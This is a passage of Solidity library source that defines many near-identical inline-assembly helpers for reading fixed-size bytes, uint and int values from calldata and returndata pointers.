calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev 